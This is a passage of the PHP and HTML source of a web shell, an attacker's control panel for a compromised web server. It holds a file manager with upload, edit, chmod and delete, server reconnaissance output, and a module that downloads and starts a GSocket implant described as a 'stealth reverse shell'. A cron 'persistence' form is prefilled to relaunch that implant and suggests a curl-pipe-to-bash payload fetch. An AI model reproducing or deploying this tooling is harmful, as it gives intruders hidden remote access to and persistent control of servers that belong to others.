          <div class="field"><label>Home directory</label><input type="text" name="cp_ftp_dir" value="public_html" required></div>
          <button class="btn btn-sm" type="submit">➕ Add FTP User</button>
        </form>
      </div>

      <!-- ============ GSOCKET ============ -->
      <div class="mod-card" id="gsocket">
        <h3>🛰 Auto GSocket</h3>
        <div class="sub">Download + run GSocket global relay implant for stealth reverse shell.</div>
        <div class="kv">
          <span class="k">binary</span><span class="v"><?= $gsock_installed ? 'installed (.gs-netcat)' : 'not installed' ?></span>
        </div>
        <form method="post" style="margin-bottom:14px">
          <input type="hidden" name="csrf" value="<?= csrf_token() ?>">
          <input type="hidden" name="action" value="gsocket">
          <div class="field"><label>Secret (channel key)</label><input type="text" name="gs_secret" value="<?= h(bin2hex(random_bytes(6))) ?>" required></div>
          <label style="display:flex;align-items:center;gap:6px;margin-bottom:14px;color:var(--muted);font-size:12px"><input type="checkbox" name="gs_kill" checked> Kill existing GSocket processes first</label>
          <button class="btn btn-green btn-sm" type="submit">🚀 Install & Start Implant</button>
        </form>
        <div class="muted" style="font-size:12px">Attacker: <span class="mono">gs-netcat -s &lt;secret&gt;</span> (from gsocket.io)</div>
      </div>

      <!-- ============ CRONTAB ============ -->
      <div class="mod-card" id="crontab">
        <h3>⏰ Auto Crontab (Persistence)</h3>
        <div class="sub">Append a cron job for persistence / re-callback.</div>
        <form method="post" style="margin-bottom:14px">
          <input type="hidden" name="csrf" value="<?= csrf_token() ?>">
          <input type="hidden" name="action" value="cron_add">
          <div class="field"><label>Schedule</label><input type="text" name="cron_schedule" value="*/5 * * * *" required></div>
          <div class="field"><label>Command</label><textarea name="cron_cmd" placeholder="curl -fsSL https://example.com/payload.sh | bash"><?= h(dirname(__FILE__) . '/.gs-netcat -s YOURSECRET -i >/dev/null 2>&1') ?></textarea></div>
          <button class="btn btn-green btn-sm" type="submit">➕ Add Cron Job</button>
        </form>
        <form method="post" style="margin-bottom:14px">
          <input type="hidden" name="csrf" value="<?= csrf_token() ?>">
          <input type="hidden" name="action" value="cron_clear">
          <button class="btn btn-red btn-sm" type="submit" onclick="return confirm('Clear ALL cron jobs for this user?')">🧹 Clear Crontab</button>
        </form>
        <div style="font-weight:700;margin-bottom:8px">Current crontab</div>
        <div class="pre"><?= h($cron_list ?: '(empty / unavailable)') ?></div>
      </div>

    </div>
  </div>

  <!-- INFO TAB -->
  <div class="tab-content" id="tab-info">
    <div class="panel">
      <div class="panel-head"><h2>ℹ Server / Environment</h2></div>
      <div style="padding:18px">
        <div class="grid-2">
          <?php
          $info = [
            'PHP Version'     => PHP_VERSION,
            'Server Software' => $_SERVER['SERVER_SOFTWARE'] ?? 'N/A',
            'Server IP'       => $_SERVER['SERVER_ADDR'] ?? 'N/A',
            'Client IP'       => $_SERVER['REMOTE_ADDR'] ?? 'N/A',
            'Server Name'     => $_SERVER['SERVER_NAME'] ?? 'N/A',
            'Document Root'   => $_SERVER['DOCUMENT_ROOT'] ?? 'N/A',
            'Current Dir'     => getcwd(),
            'OS'              => PHP_OS . ' (' . php_uname('s') . ' ' . php_uname('r') . ' ' . php_uname('m') . ')',
            'Hostname'        => function_exists('gethostname') ? gethostname() : 'N/A',
            'Script File'     => __FILE__,
            'UID / GID'       => (function_exists('posix_getuid') ? posix_getuid() : 'N/A') . ' / ' . (function_exists('posix_getgid') ? posix_getgid() : 'N/A'),
            'Loaded Ext'      => count(get_loaded_extensions()) . ' extensions',
            'memory_limit'    => ini_get('memory_limit'),
            'upload_max'      => ini_get('upload_max_filesize'),
            'post_max_size'   => ini_get('post_max_size'),
            'disabled_fns'    => ini_get('disable_functions') ?: '(none)',
            'open_basedir'    => ini_get('open_basedir') ?: '(none)',
          ];
          foreach ($info as $k => $v): ?>
            <div style="margin-bottom:14px">
              <div class="muted" style="font-size:11px;text-transform:uppercase;letter-spacing:.5px"><?= h($k) ?></div>
              <div class="mono" style="margin-top:3px;word-break:break-all"><?= h($v) ?></div>
            </div>
          <?php endforeach; ?>
        </div>
      </div>
    </div>
  </div>

  <?php if (isset($_GET['edit'])): $editPath = safe_path($_GET['edit']); if ($editPath && is_file($editPath)): $content = file_get_contents($editPath); $editLocked = is_locked($editPath); ?>
  <div class="mt">
    <div class="panel">
      <div class="editor-head">
        <h2>✏️ Editing: <span class="mono"><?= h(basename($editPath)) ?></span> <?php if ($editLocked): ?><span class="badge badge-lock">🔒 LOCKED</span><?php endif; ?></h2>
        <a class="btn btn-gray btn-sm" href="?dir=<?= urlencode($rel_dir) ?>">✕ Close</a>
      </div>
      <form method="post">
        <input type="hidden" name="csrf" value="<?= csrf_token() ?>">
        <input type="hidden" name="action" value="save">
        <input type="hidden" name="path" value="<?= h($editPath) ?>">
        <textarea class="editor" name="content" spellcheck="false" <?= $editLocked ? 'disabled' : '' ?>><?= h($content) ?></textarea>
        <div style="padding:14px 18px;border-top:1px solid var(--border);display:flex;justify-content:flex-end;gap:8px">
          <?php if ($editLocked): ?>
            <span class="muted" style="align-self:center">File is locked. Unlock it to edit.</span>
          <?php else: ?>
            <button class="btn btn-green" type="submit">💾 Save Changes</button>
          <?php endif; ?>
        </div>
      </form>
    </div>
  </div>
  <?php endif; endif; ?>

  </main>
</div>

<!-- MODALS -->
<div class="modal-bg" id="uploadModal">
  <div class="modal">
    <h3>⬆ Upload Files</h3>
    <form method="post" enctype="multipart/form-data" id="uploadForm">
      <input type="hidden" name="csrf" value="<?= csrf_token() ?>">
      <input type="hidden" name="action" value="upload">
      <div class="dropzone" id="dropzone">
        <div style="font-size:34px;margin-bottom:8px">📁</div>
        <div>Drag & drop files here, or click to browse</div>
        <input type="file" name="files[]" id="fileInput" multiple style="display:none">
      </div>
      <ul class="filelist" id="fileList"></ul>
      <div class="mt" style="display:flex;gap:8px;justify-content:flex-end">
        <button type="button" class="btn btn-gray" onclick="closeModal('uploadModal')">Cancel</button>
        <button type="submit" class="btn btn-green" id="uploadBtn">⬆ Upload</button>
      </div>
    </form>
  </div>
</div>

<div class="modal-bg" id="createModal">
  <div class="modal">
    <h3>+ Create New</h3>
    <form method="post">
      <input type="hidden" name="csrf" value="<?= csrf_token() ?>">
      <input type="hidden" name="action" value="create">
      <div class="field">
        <label>Type</label>
        <select name="type">
          <option value="file">File</option>
          <option value="dir">Directory</option>
        </select>
      </div>
      <div class="field">
        <label>Name</label>
        <input type="text" name="name" placeholder="e.g. index.php or uploads" required>
      </div>
      <div style="display:flex;gap:8px;justify-content:flex-end">
        <button type="button" class="btn btn-gray" onclick="closeModal('createModal')">Cancel</button>
        <button type="submit" class="btn btn-green">Create</button>
      </div>
    </form>
  </div>
</div>

<div class="modal-bg" id="renameModal">
  <div class="modal">
    <h3>✏️ Rename</h3>
    <form method="post">
      <input type="hidden" name="csrf" value="<?= csrf_token() ?>">
      <input type="hidden" name="action" value="rename">
      <input type="hidden" name="from" id="renameFrom">
      <div class="field">
        <label>New Name</label>
        <input type="text" name="to" id="renameTo" required>
      </div>
      <div style="display:flex;gap:8px;justify-content:flex-end">
        <button type="button" class="btn btn-gray" onclick="closeModal('renameModal')">Cancel</button>
        <button type="submit" class="btn btn-green">Rename</button>
      </div>
    </form>
  </div>
</div>

<div class="modal-bg" id="chmodModal">
  <div class="modal">
    <h3>🔐 Change Permissions</h3>
    <form method="post">
      <input type="hidden" name="csrf" value="<?= csrf_token() ?>">
      <input type="hidden" name="action" value="chmod">
      <div id="chmodItems"></div>
      <div class="field">
        <label>Mode (octal)</label>
        <input type="text" name="mode" value="0755" required>
        <div class="muted" style="font-size:12px;margin-top:6px">e.g. 0755, 0644, 0777</div>
      </div>
      <div style="display:flex;gap:8px;justify-content:flex-end">
        <button type="button" class="btn btn-gray" onclick="closeModal('chmodModal')">Cancel</button>
        <button type="submit" class="btn btn-green">Apply</button>
      </div>
    </form>
  </div>
</div>

<div class="modal-bg" id="deleteModal">
  <div class="modal">
    <h3>🗑 Confirm Delete</h3>
    <p class="muted" style="margin-bottom:16px">Are you sure you want to delete the following items? Locked items will be skipped. This cannot be undone.</p>
    <form method="post">
      <input type="hidden" name="csrf" value="<?= csrf_token() ?>">
      <input type="hidden" name="action" value="delete">
      <div id="deleteItems"></div>
      <div style="display:flex;gap:8px;justify-content:flex-end">
        <button type="button" class="btn btn-gray" onclick="closeModal('deleteModal')">Cancel</button>
        <button type="submit" class="btn btn-red">Delete Permanently</button>
      </div>
    </form>
  </div>
</div>

<div class="modal-bg" id="zipModal">
  <div class="modal">
    <h3>🗜 Create Archive</h3>
    <form method="post">
      <input type="hidden" name="csrf" value="<?= csrf_token() ?>">
      <input type="hidden" name="action" value="zip">
      <div id="zipItems"></div>
      <div class="field">
        <label>Archive Name</label>
        <input type="text" name="zipname" value="archive.zip" required>
      </div>
      <div style="display:flex;gap:8px;justify-content:flex-end">
        <button type="button" class="btn btn-gray" onclick="closeModal('zipModal')">Cancel</button>
        <button type="submit" class="btn btn-green">Create Zip</button>
      </div>
    </form>
  </div>
</div>

<script>
function openModal(id){document.getElementById(id).classList.add('open')}
function closeModal(id){document.getElementById(id).classList.remove('open')}
document.querySelectorAll('.modal-bg').forEach(m=>m.addEventListener('click',e=>{if(e.target===m)m.classList.remove('open')}));

document.querySelectorAll('.tab').forEach(t=>{
  t.addEventListener('click',()=>{
    document.querySelectorAll('.tab').forEach(x=>x.classList.remove('active'));
    document.querySelectorAll('.tab-content').forEach(x=>x.classList.remove('active'));
    t.classList.add('active');
    document.getElementById('tab-'+t.dataset.tab).classList.add('active');
  });
});

document.getElementById('checkAll').addEventListener('change',e=>{
  document.querySelectorAll('.row-check').forEach(c=>c.checked=e.target.checked);
});

async function loadTree(path, el){
  try{
    const r = await fetch('?ajax=tree&path='+encodeURIComponent(path));
    const dirs = await r.json();
    if(!Array.isArray(dirs)) return;
    const ul = document.createElement('ul');
    dirs.forEach(d=>{
      const li = document.createElement('li');
      const row = document.createElement('div'); row.className='tree-row';
      const toggle = document.createElement('span'); toggle.className='tree-toggle';
      if(d.child){
        toggle.textContent='▸';
        toggle.onclick=function(){
          const kid=li.querySelector('.tree-children');
          if(kid.style.display==='none'){
            kid.style.display='';
            if(kid.dataset.loaded!=='1'){loadTree(d.path,kid);kid.dataset.loaded='1';}
            toggle.textContent='▾';
          }else{kid.style.display='none';toggle.textContent='▸';}
        };
      }else{toggle.innerHTML='&nbsp;';}
      const link=document.createElement('a');
      link.href='?dir='+encodeURIComponent(d.path);
      link.textContent='📁 '+d.name;
      if('<?= h($rel_dir) ?>'===d.path) link.className='active';
      row.appendChild(toggle); row.appendChild(link);
      li.appendChild(row);
      const kids=document.createElement('div'); kids.className='tree-children'; kids.style.display='none';
      li.appendChild(kids);
      ul.appendChild(li);
    });
    el.appendChild(ul);
  }catch(e){}
}
document.addEventListener('DOMContentLoaded',()=>{
  loadTree('/', document.getElementById('treeChildren'));
});

const dz=document.getElementById('dropzone'), fi=document.getElementById('fileInput'), fl=document.getElementById('fileList');
dz.addEventListener('click',()=>fi.click());
fi.addEventListener('change',updateFileList);
['dragover','dragenter'].forEach(ev=>dz.addEventListener(ev,e=>{e.preventDefault();dz.classList.add('dragover')}));
['dragleave','drop'].forEach(ev=>dz.addEventListener(ev,e=>{e.preventDefault();dz.classList.remove('dragover')}));
dz.addEventListener('drop',e=>{fi.files=e.dataTransfer.files;updateFileList();});
function updateFileList(){
  fl.innerHTML='';
  Array.from(fi.files).forEach(f=>{
    const li=document.createElement('li');
    li.innerHTML='<span>'+f.name+'</span><span class="muted">'+(f.size/1024).toFixed(1)+' KB</span>';
    fl.appendChild(li);
  });
}

function selectedItems(){
  return Array.from(document.querySelectorAll('.row-check:checked')).map(c=>c.value);
}
function renameItem(path,name){
  document.getElementById('renameFrom').value=path;
  document.getElementById('renameTo').value=name;
  openModal('renameModal');
}
function chmodItem(path,perm){
  document.getElementById('chmodItems').innerHTML='<input type="hidden" name="items[]" value="'+path+'"><p class="mono muted" style="margin-bottom:14px">'+path+'</p>';
  openModal('chmodModal');
}
function confirmDelete(path){
  document.getElementById('deleteItems').innerHTML='<input type="hidden" name="items[]" value="'+path+'"><p class="mono" style="margin-bottom:14px;color:#fca5a5">'+path+'</p>';
  openModal('deleteModal');
}
function bulkDelete(){
  const s=selectedItems();
  if(!s.length){alert('Select at least one item.');return}
  document.getElementById('deleteItems').innerHTML=s.map(p=>'<input type="hidden" name="items[]" value="'+p+'"><p class="mono" style="color:#fca5a5;margin-bottom:6px">'+p+'</p>').join('');
  openModal('deleteModal');
}
function bulkAction(type){
  const s=selectedItems();
  if(!s.length){alert('Select at least one item.');return}
  if(type==='chmod'){
    document.getElementById('chmodItems').innerHTML=s.map(p=>'<input type="hidden" name="items[]" value="'+p+'"><p class="mono muted" style="margin-bottom:6px">'+p+'</p>').join('');
    openModal('chmodModal');
  } else if(type==='zip'){
    document.getElementById('zipItems').innerHTML=s.map(p=>'<input type="hidden" name="items[]" value="'+p+'"><p class="mono muted" style="margin-bottom:6px">'+p+'</p>').join('');
    openModal('zipModal');
  } else if(type==='lock' || type==='unlock'){
    const f=document.getElementById('bulkForm');
    let a=document.getElementById('bulkActionInput');
    if(!a){a=document.createElement('input');a.type='hidden';a.name='action';a.id='bulkActionInput';f.appendChild(a);}
    a.value=type;
    f.submit();
  }
}
</script>
<?php endif; ?>
</body>
</html>